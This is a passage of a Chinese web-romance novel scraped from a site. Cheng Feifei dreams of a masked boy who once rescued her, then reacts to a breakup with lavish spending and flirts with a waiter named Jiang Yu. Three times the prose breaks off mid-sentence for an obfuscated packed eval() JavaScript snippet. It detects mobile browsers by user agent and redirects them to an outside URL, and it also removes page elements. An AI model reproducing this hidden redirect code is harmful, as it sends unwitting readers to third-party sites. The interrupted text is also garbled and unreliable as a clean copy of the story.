海报上是一个漂亮女人。 女人看不出具体年纪,脸庞很秀丽,身段也优雅。她穿着奢华的表演服站在台上,弓弦搭琴,眼神沉浸。 “羽婷……小提琴演奏会。” 程霏霏从没有去过什么演奏会,更不认识这个女人。她猜,这人大概是什么高级但无聊的音乐家。总之,不是她的菜。 立即决定要走人。 刚迈出去没两步,程霏霏忽然感到一阵天旋地转,清醒的意识好似缀了铅,开始急速下坠。 视线骤然变得昏暗,尖锐的耳鸣声如针一般贯穿大脑,四肢的掌控感骤失,整个人不受控制地向旁边栽倒—— 她用尽最后一丝理智,担忧地想:我该不会脸着地吧? 设想中的“脸着地”并没有发生,她的脸颊的确蹭到了什么东西,却不是地面—— 在即将失去意识的前一刻,一个高挑的身影恰好与她擦肩而过。身体像是逮到了碰瓷的对象,全力倒向了那人的肩膀。 手臂无意识地攀扯,借着最后一丝力气,摸到一只皮质柔软的拉环。 倒下的时候顺势一拽,原本挂在对方背包上的装饰性钥匙扣应声断裂。 身体失控地继续下坠—— 彻底倒地之前,程霏霏感到身旁的人抬起手,一把扶住了她。 “喂,你还好吗?” 少年说话的声音仿佛从水底里钻出,很近,也很远。隔着巨大的泡沫一般,浮浮沉沉,虚无缥缈的。 她循着那声音,想要睁开眼睛,却没有丝毫力气。全身所有的感官都关闭了,意识陷入无垠的黑暗中。 可这是一个梦。 程霏霏看到梦里的自己就这样倒在了一个男生的怀里。 对方和自己差不多大,也是个高中生。 少年穿着简单的白T,戴着黑色的口罩,背着一只黑色的双肩包,晃了晃怀里意识不清的少女。 少女脸色惨白,嘴唇干裂,痛苦地喘息着,没有一点意识。 有人看到这一幕,围了上来:“哎呀,又一个中暑的!今天都晕了多少个了?小伙子,快扶你朋友去阴凉地里坐坐!” 少年的脸被口罩挡住,看不到全貌,只目光有些迟疑。 他并没有解释——这不是他的朋友,只是一个从天而降的陌生人。 男生左右张望了一阵,确定这姑娘是自己一个人来的,没有亲友。 他低头问怀里的人:“能走路吗?” 程霏霏还晕着,答案显而易见。 少年无奈,只得将身后的背包反背在胸前,蹲下身,把晕倒的少女架到自己背上,缓缓站起。 程霏霏意识朦胧,只有一些微弱的触觉,却又不能动弹。她能感觉到对方很瘦,肩胛骨好硬,硌得她生疼。 鼻端闻到一阵若有若无的柑橘味道,清冽爽朗,这气味让她稍稍好受了一些。 少年的步子很稳,似乎也怕颠到她,走得很小心。 广场旁边紧挨着一处方寸大小的街心公园。少年走进一座凉亭,小心地将程霏霏放下,让她靠坐在一张长椅上。 他弯下腰,轻轻拍了拍她的脸:“喂,清醒了吗?” 程霏霏还是闭着眼睛,意识却恢复了一丝清明,模模糊糊地回答:“……我不叫喂。” 耳边响起少年的低笑声。 他的嗓音非常好听,像风穿过雨后的松林。 “看来还有点意识。” 程霏霏听到他拉开背包的拉链,拿出什么东西。 “我身上只有这个了,凑合喝点。” 瓶盖拧开的声音响起,碳酸饮料的泡沫争先恐后地溢出来,发出细微的抽气声。 程霏霏感到自己的下颌被人扣住,紧接着,嘴唇抵上了倾斜的瓶口。下一秒,冰凉的可乐顺着舌尖涌进喉管。 她努力吞咽了几口,却不知道为何,似有一股巨力挤压着她的内脏,推着她“哇”地一声又吐了出来。 少年的声音带上了一丝慌张:“你真的只是中暑吗?” 程霏霏感到一只干爽的手摸了摸了自己的额头,只停留了短短一瞬便离开。 少年似乎在打电话:“120吗?对,地址是市音乐厅旁边的街心公园……什么,要那么久啊?” 意识又陷入黑暗,再次回笼的时候,程霏霏发现自己正斜靠在少年的肩头。 肩膀还是很硌,让她觉得不太舒服。程霏霏模糊地想,等她好起来,一定要叮嘱这个家伙多多吃饭。 他们二人正坐在一辆行驶的出租车里。 她听到少年催促道:“师傅,麻烦开快一点。” 程霏霏恢复了一些力气,想抬手却又不能。脸颊蹭着少年的肩头,轻声咕哝:“你不用管我……” “醒了?”少年侧脸看过来,发现她双眼紧闭,只勉强恢复了一丝微弱的意识。 “你以为我想管?谁让你哪儿都不倒,偏倒在我身上。” 若有似无的调侃透过口罩模模糊糊地钻进程霏霏的耳朵。她暗暗决定,既然你这么不情不愿,等我好了,也不会感谢你的! 车子很快就抵达了最近的医院。 车门一开一关,程霏霏感到有人揽着她的腰肢将她扶下车,辗转挪腾到了温热的脊背上。 她潜意识知道,自己来了医院,可心里却忽然紧张起来,搭在少年肩头的手指也微微收紧,攥住他的衣襟。 “没事的,很快就到急诊了!”少年安慰着她,步履如飞。 有医生推着平板床迎出来,程霏霏终于从少年身上下来,躺在了更加硬实的病床上。 可这样却并没有令她感到安心,意识深处,反而更加慌乱了—— 自己在这个陌生的城市生了病,被送来了不知道哪个医院,谁也不认识,身上又没钱,唯一还算“熟悉”的,好像只有眼前这个陌生人。 她抓住少年的手腕,低声哀求:“别走……” “别怕,我不走。” 少年有些无奈,反握住她的手,轻声安慰道:“我就在这里陪着你,哪里也不去。你先放手,让医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006515|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推你进诊室。我得去挂号,要不然,谁给你看病?” 程霏霏犹豫了一下,还是听话地松了手。 医生推着她快速往里走,病床的帘子拉上,隔绝了视线。 少年轻轻呼出一口气,捏了捏酸麻的胳膊,然后在护士的指引下,去挂号缴费。 医生给程霏霏检查了一番,确定她是中暑加低血糖。另外,很可能是火车上吃的东西不新鲜,又伴有一些细菌性食物中毒,所以才会发烧加呕吐。 程霏霏躺在急诊的病床上输液,因为过度虚弱,依旧在昏睡。 少年站在床边,将点滴调成一个较为和缓的速度。 他卸下背包,拖过床边一只塑料凳坐下,撑着下颌,俯视着床上的人。 女孩一头鲜亮的粉色长发,浓郁的烟熏妆糊了满脸,像戴了张鬼畜的面具,看不清楚模样。 护士刚刚翻看了这姑娘的包,没有手机,也没有钱。 少年蹙着眉,不知道这个打扮前卫的少女究竟遭遇了什么事。 他想了想,最终还是拉开背包,将钱夹里所有的现金拿出来,团成一团,塞进了程霏霏的包里。 这是个典型的女士斜挎包,有很多夹层。少年不经意地一瞥,看到其中一个夹层里,有一张叠成豆腐块的信纸。 他好奇地一挑眉,两根手指将纸条夹出来,几下展开,没有任何心理负担地开始浏览。 读着读着,忽然惊讶地顿住。 少年抬起头,目光复杂地看向床上的人。 这是一封诀别信。 信只写了一半,还没有写完。 少年有些怔忪,不确定这女孩最终要做什么,但无论是什么,她似乎都还没有下定决心。 他将信纸放下,皱眉思索了片刻,重新打开自己的背包,将所有口袋都翻了个遍。 “哪儿去了,我记得明明有一张……” 少年自言自语着,眸光忽地一亮,在包的夹层里掏出一张被压扁的硬纸片。 纸片放在掌心摊开抚平,皱巴巴的纸面上,赫然写着“羽婷小提琴演奏会”的字样——正是刚才广场上排队都一票难求的演奏会门票。 少年翘起唇角,对着门票轻轻一弹:“你为了排队买她的票,人都晕倒进医院了,应该是很想去的吧?” 他打开程霏霏的包,将这张票放了进去——和那封信放在了一起。 “这个送给你。” 他俯下身,稍稍贴近程霏霏的耳侧。 “喂,我知道你能听得见。无论你想做什么,先别急着决定。去把你想听的演奏会听了,说不定,就改主意了呢。” 少年站起身,将程霏霏的小挎包放在她的枕边。 “有些麻烦,一时半会儿也许无法解决,只能交给时间。想不通的,就干脆不要想。心情不好的时候,听听音乐吧。音乐这东西神奇得很,有时候,倒是懂得我们全部的心情。” 梦里的程霏霏预感到,少年可能是要离开了,着急地呼喊着:“不要走!我还没有看清你的脸,还不知道你叫什么名字,求求你别走!” 可是少年还是将口罩拉好,背起背包,转过了身。 …… “别走——” 程霏霏大叫一声,彻底醒了过来。 眼前是熟悉的天花板,却不是寝室的,而是她在校外的那间小房子。 天光大亮,明媚的日光穿过阳台,铺满了整个客厅。 ——奇怪,她怎么来这里过夜了? 头疼得像是要裂开,程霏霏扶着脑袋坐起身,回味着这个不同寻常的梦,感觉很是离奇。 可能因为反复回忆的缘故,这些年,她经常会梦到那次去帝都的经历。以往的梦里都只有支离破碎的片段,可这次这个梦,却非常完整。 不仅完整,程霏霏觉得,自己好像一会儿在经历这个梦,一会儿又成了旁观者。 她甚至在梦里看到很多自己并不了解的细节,对方的话语和动作,都清清楚楚。 越琢磨,越疑惑。 梦里的这个李泽昱,讲话的语气、声音,甚至开玩笑的样子,怎么和现实里的,不太一样? 18. 18 程霏霏顶着满脑袋问号起身,走进浴室,看向镜子里的自己。 面容苍白,眼皮浮肿,头发黏在一起,像一只宿醉的女鬼。 一开口,嗓子也哑得说不出话。程霏霏甚至有点怀疑,自己昨晚是不是大哭了一场。 淋浴间的花洒骤开,温热的雨瀑倾泻而下,程霏霏任热水冲刷着自己酸胀的太阳穴,眼前闪过酒吧里几个昏蒙破碎的片段。 除此之外,她到底如何喝醉、又是如何回到这间公寓的,程霏霏愣是一点也想不起来。 洗完澡出来,手机上的未读消息堆成了山。 姐妹群里,任可心和黎玥排着队嚎叫:【程霏霏,没死就出来吱一声!】 程霏霏回了一个“尚在人间”的表情包。 “……” 随即,一个语音电话打了过来。 程霏霏披着毛毯,陷在柔软的三人沙发里,按下了“接听”。 阳台上的视野开阔,隔着一片树林,是光芒四射的江滩晨景。 耳机里,姐妹们关怀备至,八卦地拷问程霏霏昨晚的去向。 一切都是那么岁月静好、合情合理,可程霏霏依然觉得,有什么东西出了问题。 她开始走神。 脑海里浮现出一抹清俊的剪影,给寒冷的自己渡来体温。而她像个撒娇的小女人一般,攀着对方的肩背和胸膛,渴求他的怀抱…… 程霏霏忽然捂住脸,感到一阵后知后觉的羞臊。 天呢,她已经缺男人缺到,一大早就要做春梦了吗! 将脑袋埋进羊绒毯中,程霏霏深深地喘息了几口,去平息四肢百骸涌起的暧昧燥意。 就这么气血翻涌了一阵子,她才忽然想起来,这世上还有一个叫李泽昱的男人,已经选择了和她的死对头姚安琪在一起的事实。 程霏霏从毯子里探出头,心又重新凉了下来。 * 好在今天是周日,适合外宿加晚起,不用急急忙忙地赶回学校上课。 程霏霏优哉游哉地回到宿舍的时候,竟然在楼下看到一个熟人。 周韬背着小提琴的琴盒,似是在这里等了许久。看到程霏霏,他露出一丝开心的神色,几步走过来,将琴盒递给她。 程霏霏愣了愣——昨晚走得急,竟然把小提琴落在了演出后台。要不是人家给送过来,她还不知道猴年马月才能想起来这桩事。 她连忙伸手接过,感激地一笑:“谢谢你哦,瞧我这记性。” 周韬看着她,抿了抿唇,有些欲言又止。 “那,回见咯。”程霏霏摆了摆手。 此人是李泽昱的室友,她此刻并不想和他多聊什么。 “程霏霏……对不起。” 程霏霏一愣,停下脚步。 “李泽昱和姚安琪在一起,也有我推波助澜的成分。我承认,之前对你不太了解,说了一些不够客观的话。经过昨天的相处,我觉得你是个很不错的女孩子,除了……除了家境不如姚安琪以外,其他哪一项,都比她好!” 周韬的一番剖白,直接给程霏霏说懵了。 他犹豫了片刻,似是豁出去了一般,吞吞吐吐地说:“你,你忘了李泽昱吧!如果,如果你不嫌弃的话,我……我可以……” “且慢。”程霏霏抬起手,打断周韬的话,“你刚才说我,哪里不好?” 周韬的眼神有些躲闪。 他觑着程霏霏的脸色,小心翼翼地开口:“家境不好也没什么的,真的!这不是你能选择的,你千万不要因为这个而自卑。不是所有男生都像李泽昱那么虚荣……” 程霏霏已经没有耐心听了,不客气地打断他:“你是说,李泽昱之所以没有选择我,是因为我穷?” 周韬没想到,她竟然如此大声而直白地、将自己的短板说了出来,一时不知道该点头还是摇头。 程霏霏瞧着他为难的神色,什么都明白了。 她想起自己这一年来在李泽昱跟前立下的人设:清纯无害小学妹,家境普通但上进,放假也要留校打工,靠做家教赚生活费,吃一顿三百块的西餐就开心得忘乎所以…… 原来,一直以来,她竟是搬起了石头往自个儿脚上砸! 周韬看到程霏霏越皱越紧的眉头,以为这些话伤害了她的自尊心,正着急该如何弥补,程霏霏却连个招呼也没打,转身就进了女生宿舍的大门。 黎玥正在灯下看书,寝室的门忽然被人一把推开。 程霏霏风一般冲向自己的衣橱,拉开柜门,从最下层拖出一大包东西。 她抖开包装,把里面的物品一股脑倒出来,摊在地上。 满是褶皱的连衣裙,线头粗糙的碎花衬衫,镶着土气蕾丝边的毛线衣…… 这些风格明显、做工普通、一看就很便宜的衣服,皆出自同一家某宝店铺,是程霏霏专门网购回来的“战服”。 她怎么也没想到,自己煞费苦心,搞出一个和李泽昱出身相似的人设,原本是想离他近一点,结果竟然成了她失败的根由。 而他转头就选择了姚安琪做女朋友——一个做派精致、性格骄纵的富家小妞。 程霏霏冷冷一笑。 精致?骄纵? 这些特点在她眼里,只是些寻常到无趣的标签,连“个性”都算不上。 圈子里的女孩们个个都是这样的。 只有程霏霏自己,在攻克爱情这道难题的时候,变着法儿的求创新,想寻找一个更用心的、独辟蹊径的解法。可到头来,还是败给了天底下最套路的公式。 处心积虑地立人设,倒不如从一开始,就做“程霏霏”来得好! 黎玥震惊地瞅着这满地衣物:“霏霏,你这发泄的方式,还真是与众不同啊。” “黎玥,我错了。” 程霏霏一屁股坐进自己的豪华大软椅里,翘着二郎腿,露出一个讥诮的笑:“我怎么这么傻,再清纯的小白花,也不如人民币讨人喜爱!” * 翌日,鹿客餐厅。 黎玥第五次探着脑袋向外张望的时候,常泰终于忍不住了。 “别看了,江羽今天不来,他请假了。” “哦。”黎玥垂眸,不甘心地鼓了鼓嘴。 常泰看了她一眼,又添了一句:“病假。” 黎玥愣了一瞬,露出些隐隐的担忧之色。她记得,江羽好像不住宿舍,是在外边租房子吗?生病的话,有没有人照顾他呢? 常泰斜眼睨着她愣神的模样,忽然道:“你就没想过,跟他说清楚吗?” “……说什么?” “说你喜欢他。” 黎玥一听,局促地别开眼,手上的抹布加快了速度,无意识地反复擦着同一处,看得常泰哑然失笑。 片刻后,她的动作慢下来,思绪不知又飘向了何处。 “常哥,你说,江羽会喜欢什么样的女孩?” “这我哪知道。”常泰无语地耸了耸肩,“不过,我觉得他一定不是那种攀龙附凤的类型。要不然,以他的条件,早就傍上女富婆了,还用得着到处打工,过这苦日子?” 黎玥赞同地点点头。 她想起程霏霏上午在寝室里说的话。 也许很多男人会喜爱有钱的女人,或者说,喜爱女人的钱。但江羽一定不是,江羽从来就是一个堂堂正正靠自己的人。 她知道,喜欢江羽的女孩子有很多,还有人为了看他,每天都来店里消费。可江羽对她们十分冷淡,连个微信也没有给过。 黎玥抿唇一笑,拿出手机,点开微信。 之前为了商量排班的事情,他们互加了好友。江羽的头像很有趣,是一条船。 她点进了江羽的朋友圈。 江羽没有发朋友圈的习惯,可黎玥还是忍不住手痒,经常点进来看看。 没想到,他竟然转发了一条江城大学团委公众号的推送,内容是这届迎新艺术节。 黎玥点开那篇推送,读了几段,有些无聊。 以她专业新闻生的眼光,这就是篇典型的官方宣传通稿,白开水一样的流水账,没有任何新意,搞不懂江羽为什么会转发。 唯一有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006516|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印象的,大概就是文章里配了好几张图,其中一张还是她的好朋友程霏霏。 也不知道霏霏的心情如何了。 黎玥点进闺蜜群,发了条消息:【你们逛到哪儿呢?】 过了很久,任可心才回复:【别提了,程大小姐不知道发什么疯,差点把商场搬空,我胳膊快断了!】 …… 此时此刻,江滩太古里。 这是整个江城市最繁华的购物中心,充斥着数不清的国际顶级奢侈品大牌,物欲浮靡,连空气里都弥漫着挥金如土的味道。 程霏霏从一楼的化妆品专柜开始逛,一直逛到顶层的奢豪健身器材区。给她爸、她妈、她哥浑身上下包圆了不说,还给自己定了一台价值不菲的室内划船机。 任可心:“想划船,可以去你爸那里划,水有得是。” 程霏霏:“呵,有钱人就是要在岸上划船!” (每天都划着小船下湖垂钓的程广材:“……”) 程霏霏如皇军过境一般,在商场里扫荡了一整天,最后一站,来到了顶层的美发沙龙。 梳着飞机头的托尼老师笑呵呵地迎了出来:“美女,想做个什么样的发型?” 程霏霏捋了一把自己的头发,瀑布一般的黑长直水润柔亮,触觉柔如云朵。 她微扬下巴:“色卡拿来。” * 黎玥打完工,回到寝室的时候,一推门——门没推开。 她又使劲推了推,硬挤开了一条缝,脑袋伸进去一瞧,门口的地方全被购物袋堵了个严实。 里面的人听到动静,赶紧把玄关清了清,才成功打开门,将她放了进去。 黎玥吃惊地盯着程霏霏的脑袋:“你这发色……” “好看吗?”程霏霏嘚瑟地撩了撩刚出炉的秀发,“那个托尼说,这可是今年的流行色!” 原本及腰的黑长直,被剪短了一半长度,卷着浪漫的弧度披在肩头。 颜色也不再是静谧的纯黑,变成了亚麻系的奶棕色,泛着蜜茶的橘调,更衬得她一张小脸愈发白皙,凝脂点漆般的美。 黎玥忍不住赞叹:“好美!很衬你!” 程霏霏开心地弯起眉眼:“可心那家伙夸,我还不信,连你都夸奖的话,看来是没白花这笔银子!” 她继续对着镜子欣赏了一番。 黎玥看着寝室里堆成山的大包小包,愕然地张了张嘴,不知道该说啥,又乖乖闭上嘴巴。 某大小姐犯了购物瘾,的确是会出现这样的场景。 程霏霏只顾着打理头发,头也不回地道:“可心的都已经拿走了,那边的几袋子是你的,试试看,喜不喜欢?” 黎玥从购物袋里翻出一条崭新的羊绒围巾,围巾是顶级的材质,说不出的软糯亲肤。 她挤到镜子前,看着揽镜自照的某人:“谢谢你的礼物,但是霏霏,你这么折腾,真能让自己高兴?” “我这叫折腾?”镜子里的程霏霏一秒钟变脸,仿佛被踩了尾巴的猫,“她姚安琪几个臭钱就能把我看上的人收买,我还不能花点小钱娱乐身心了?不仅如此,我还要接着花!” 她气势汹汹地问:“你们餐厅能包场吗?我要请我们全班同学吃饭!” 黎玥震惊:“你为什么要请全班同学吃饭?” “怎么,请全班同学吃饭这种小事,还用得着理由?” 那反问的语气,仿佛这种行为就如同吃饭喝水一样理所当然。 黎玥哭笑不得,不再反驳盛怒的闺蜜,点了点头,算是应了。 她颇为敬业地追问:“那烦请程小姐给一个请客的由头,我们餐厅可以为您策划一个包场主题……策划免费。” 程霏霏已经自我欣赏完毕,开始卸妆。 “那就‘生日快乐’吧。” 黎玥诧异道:“可是你的生日还没到啊?” “不重要。”程霏霏正在卸眼妆,眼睛盯着天花板,仿若对她翻了个白眼,“我说什么时候过,咱们就什么时候过!” “……行。”黎玥无奈地比了个OK。 19. 19 正如程霏霏曾经预言的,鹿客餐厅在渡过开业期的短暂低迷之后,乘着开学的东风,一举在江大学子中打出了自己独一无二的名声—— 环境好,但贵。 菜品好,但贵。 服务生颜值很高,但贵。 贵,是一种态度、一种松弛的自信。这个标签让鹿客在短时间之内,迅速成为了江大周边“高逼格餐饮”的代名词。 什么情侣表白、毕业聚餐、周年纪念日等等稍微隆重一点的活动,都喜欢来这里搞一搞。 例如今天,鹿客的窗户上早早就挂起了HappyBirthday的金色气球。一进大门,粉紫相间的新鲜花球悬在半空中,像搭起一座梦幻之桥。 盛放的蔷薇花束从高处一路倾泻至正中的长桌,白色的蕾丝桌布一尘不染,亮银色的餐具整齐划一,就连桌上的餐巾,也折成了蜡烛的形状。 程霏霏携着一众同学到场的时候,惊喜得说不出话——这个免费的生日主题,用料也过于实诚了吧! 不知道的,还以为是什么高价私人订制呢。 华丽的西餐厅,精致的美食,高雅的轻音乐和源源不断的酒水……全班同学连连咋舌,很快就嗨到不行。 包场是一整天,没有外人打扰。大伙儿吃完饭,又分组玩起了游戏,极尽闹腾。 程霏霏陷在窗户边的卡座里,手中擎着一杯红酒,慢条斯理地品着。她没参与任何游戏局,只是独自一人呆着,任酒意上头。 这几天,程大小姐疯了一般地四处消费,连她爸都被账单上的数字吓了一跳,特意打电话来问她,最近是不是有什么烦心事。 程霏霏想,她能有什么烦心事,她不过就是对着空气挥了几拳,发泄着自怨自艾的怒火,看起来煞有介事,实则谁也伤害不了。 黎玥回老家参加侄子的百日宴了,她不在岗,这个美丽的餐厅也不知道是谁布置的。程霏霏环视着精致的花海,虽然今天并非是她的生日,心头还是涌起一丝久违的、美好的惬意。 “叮”一声,杯盘轻扣,一小碟漂亮的生日蛋糕放在了她面前的桌子上。 视线里出现一双修长纤细的手,程霏霏顺着蛋糕,迟钝地抬起头,目光微微一凝。 脑海里的第一反应是:好一个标致的帅哥。 俊秀的五官,精致的眉眼……程霏霏不知怎的,忽然就忆起了那天早晨,那场若明若暗、令她心荡神摇的春梦。 脸“腾”的一下,红了个透。 对方好像并不认识自己,只是礼貌地颔首,连个眼神都没有停留。程霏霏却在他转身的瞬间,一把扯住他的袖子。 江羽有点惊讶——那晚她醉得厉害,难道还记得自己不成? 只见程霏霏定定地注视着他的脸,目光里带着前所未有的探究与好奇。 一双水潼潼的眸子沿着他的五官仔细描摹,半晌,才黏糊糊地问:“我们是不是在哪里见过?” 话出了口,程霏霏先被自己油到,这是什么老掉牙的直男搭讪? 可是,她真心觉得他们见过——春梦里相见,也是见。 程霏霏无声地咽了口唾沫,视线往下,看向对方胸前的名牌。 “JiangYu?” 她眉梢轻抬,忍不住念念有词:“我难道是对叫Yu的男人有什么不可说的情结……” 旁边,玩游戏的同学们结束一局,四散开来觅食,看到程霏霏正拉着一个帅气的服务生不放。 周围传来暧昧的嬉笑,有调侃的口哨声响起。 程霏霏下意识地松开了手里的袖子。 江羽敛下目光,正要离开,程霏霏却从座位里弹起,如急蹿的鸟,一个急刹拦在了对方身前。 她的目光无遮无拦地扫过他的上半身,像一个无赖的登徒子。 “帅哥,还没回答我的问题呢。”程霏霏不依不饶。 四目相接,江羽那琉璃般纯净的瞳仁倒映出少女兴味盎然的神色。 她目光暧昧,带着玩兴的狡黠,又上前一步,正要说话—— “叮呤”一声响,餐厅的门大开。只见姚安琪带着她的小姐妹,有说有笑地走了进来。 “……” 场面一时陷入诡异的安静。 姚安琪也没想到,只是和室友出来喝个下午茶,竟然会在这里碰见程霏霏。 微微惊讶过后,立时又挂上了完美无缺的笑容:“好久不见啊,程霏霏。” 顿了顿,又意有所指地道:“那天那首小提琴曲,拉得不错呦。” 程霏霏的嘴边也扬起一抹笑:“谢谢夸奖,我也觉得挺好。” 姚安琪打量了一圈周围的布置,惊讶地说:“原来是你在这里开生日派对呀!我们本来想去楼上喝个咖啡,还担心有人包场呢,没想到竟是你。你肯定不会赶我们走的哦,对不对?我们就不客气啦?” 说着,挎起朋友的胳膊就要往楼上走,丝毫没有避嫌的意思。 程霏霏笑吟吟地看着她走近:“大家都是姐妹,怎么那么客气,还去楼上?来,坐我们旁边。” 说完,贴心地指了指边上一张四人桌:“那里,没人用过。” 姚安琪略一犹豫。 转念一想,她有什么不敢的?程霏霏再狂,也不过是她的手下败将。 拉着朋友便走了过来。 坐下之后,眼神滴溜一转,姚安琪勾起唇角。 她拿出手机,拨了一通电话,还“很不小心”地碰到了免提键。 李泽昱的声音从电话里传来。 只听姚安琪甜腻地说:“亲爱的,在干吗?有没有想我?” 李泽昱的声音有些沉:“乖,我在开会。” “又开会啊?我和莉莉在鹿客,你待会儿来接人家嘛!” “我可能还要忙……” 姚安琪打断道:“你猜我在这儿碰到谁了?程霏霏哦!她在过生日呢。我们都是她的好朋友,自然要当面祝福一下的吼,你说对不对啊,老公?” “老公”两个字,咬得格外清楚。 李泽昱那边沉默了,整个餐厅一片窒息般的寂静。 半晌后,他才“嗯”了一声,答应下来。 姚安琪挂了电话,一脸得意地看向程霏霏:“我男朋友这个人比较低调,和我在一起之后,一直没有公开。不是故意瞒着你的,你可千万不要生我们的气。” 程霏霏看着她这通表演,在心里默默鼓了个掌。 真是精彩啊,放在之前,她可能真的会被气到。 可是现在…… 她转过头,发现江羽已经从她身侧离开,往姚安琪的桌子走去——新客入座,自然要点单。 姚安琪从菜单里抬起头,余光瞥到江羽,便是一愣。 程霏霏看得出来,那是惊艳的表情。 男人,可真是会招蜂引蝶啊。 姚安琪同行的朋友,那个叫莉莉的显然见过江羽。她趁着点单的空隙,羞涩地打招呼:“江同学,我来过好几次了,你还记得我吗?” 江羽这才分心瞟了她一眼,摇了摇头。 对方不气馁:“那我们能不能加个微信,正式认识一下?” 江羽抱歉地一笑,转身走回吧台。 原来,姚安琪今天是陪着朋友来钓帅哥的。 程霏霏扬了扬唇角,跟身旁的同学说:“你猜,我能不能要到他的电话?” 同学握紧拳头,比了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006517|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “加油”的手势。 程霏霏抬脚跟了上去。 江羽回到吧台,正在电脑上操作点单。程霏霏将手肘支在台面上,挑选了一个完美的角度,托住妆容精致的侧脸。 可对方并没有看过来。 程霏霏鼓了鼓嘴,只好嗲着嗓子,主动搭话:“帅哥,你是哪个Yu啊?” “羽毛的羽。”江羽的声音十分悦耳,还透着一股亲切感,仿佛在某个熟悉的地方听过。 程霏霏压下莫名混乱的心绪:“为什么会用这个‘羽’啊?” 江羽操作的手指微微一顿:“因为妈妈姓羽。” 程霏霏只是在没话找话,没想到,对方竟然会认真回答。 她撑着下颌,欣赏着对方完美的颈线,觉得这小子真是哪哪都让她舒服。 说不出的熟悉感就罢了,还有那种强烈到令她身心都想靠近的致命吸引力……程霏霏第一次,对“一见如故”这个词产生了具体的理解。 她忍不住幻想,如果能拥有这个人,会是一件多么美妙的事。 她大概真的是个花痴,竟然想拥有一个第一次见面的陌生人。 脑子里想着,嘴巴也跟着说了出来:“你想不想要我的联系方式?” 江羽眼睫一颤,终于看了过来。不知为何,程霏霏觉得那样沉静的眸光里,居然含着一丝淡淡的难过。 他看了她一会儿,然后动作滞涩地,摇了摇头。 程霏霏将搭在台面上的胳膊撤回,眉头皱起,一脸不高兴。 从小到大,想要她联系方式的男生无数,什么时候被当面拒绝过? 唯一一次滑铁卢,无非也就是…… 程霏霏的精神陡然一震,想到了在李泽昱身上吃过的亏。 同样的错误不能犯第二次,她富家小姐的人设坚决不能倒! 程霏霏懒得尬聊了,立即回到餐桌边,打开自己的小挎包,掏出钱夹。 “啪——” 一摞百元大钞脆生生拍在了吧台上。 随着这边的动静,整个餐厅都安静了下来,所有的目光皆聚焦在他们二人身上,甚至还吸引到后厨常泰的视线。 程霏霏一脸兴奋,白嫩的苹果肌铺了层生气勃勃的粉,眼含逗意地看向江羽:“你的联系方式,我也不白要。姐姐有钱,可以买。” “不仅如此……”她踮起脚尖,上身探过吧台,目光灼灼地盯着他的眼睛,“我对你这个人很感兴趣,想买下你更多的时间。帅哥,与其在这里辛苦打工,倒不如,偶尔来陪我消遣一下生活,赚点零花钱,怎么样?” 江羽的眉心轻轻一动。 他以为,按下自己的心思后,和这个人便不会有更多的交集。 可是此刻,她就站在他的面前,眼波流盼,姿态轻佻,用最甜美的语调,说着最赤裸的、恸伤他尊严和心扉的字眼。 她笑着问他,愿不愿意出卖自己的时间。 那笑容充满了蛊惑,犹如最危险的陷阱,诱着他不顾一切地纵身一跃、飞蛾扑火。 他想,出卖的哪里是时间,大概会是他的灵魂。 江羽知道,他应该拒绝。可是她在邀请他,共赴一程。 恍若站在命若悬丝的十字路口,面对开着玩笑、一脸猎奇的少女,江羽已经能够预见到自己被随意捡起、再被肆意丢弃的命运。 他抬起头,目光清明地看向她身后的人。 “好。”他听见自己说。 程霏霏的眼神亮得像萤火,犹如得到了一件稀世的宝贝,还没来得及高兴,身后忽然响起一声迟疑的轻唤。 “霏霏……” 姗姗来迟的李泽昱,竟然站在不远处,将二人的对话听了个彻底。 20. 20 李泽昱一开始,甚至没有认出程霏霏。 赶到鹿客的时候,还忙着和学生会的干事发微信。看到门口的招牌,才想起暑假里那一顿令他窘迫的晚饭。 他很少单独请女孩子吃饭,那是唯一一次。 囊中羞涩的窘迫,他也只经历过那一回。反正现在和姚安琪约会,他再没了主动付账的心思。 一进门,只见一个奶棕色秀发的女孩正柔弱无骨地斜靠在吧台上,翘着莹白纤细的小腿,调戏对面的服务生。 李泽昱轻轻一哂,正要往里走;下一秒,他听到她的声音。 他定定地站住,难以置信地叫出那个名字。 程霏霏转过头,看到是他,先愣了一愣,然后马上切换成熟悉的笑容:“好巧啊,学长。” 她还是那样笑着,就像以前的每一次“偶遇”一样。 可又有些东西不一样了。李泽昱觉得,她好像忽然变了个人。 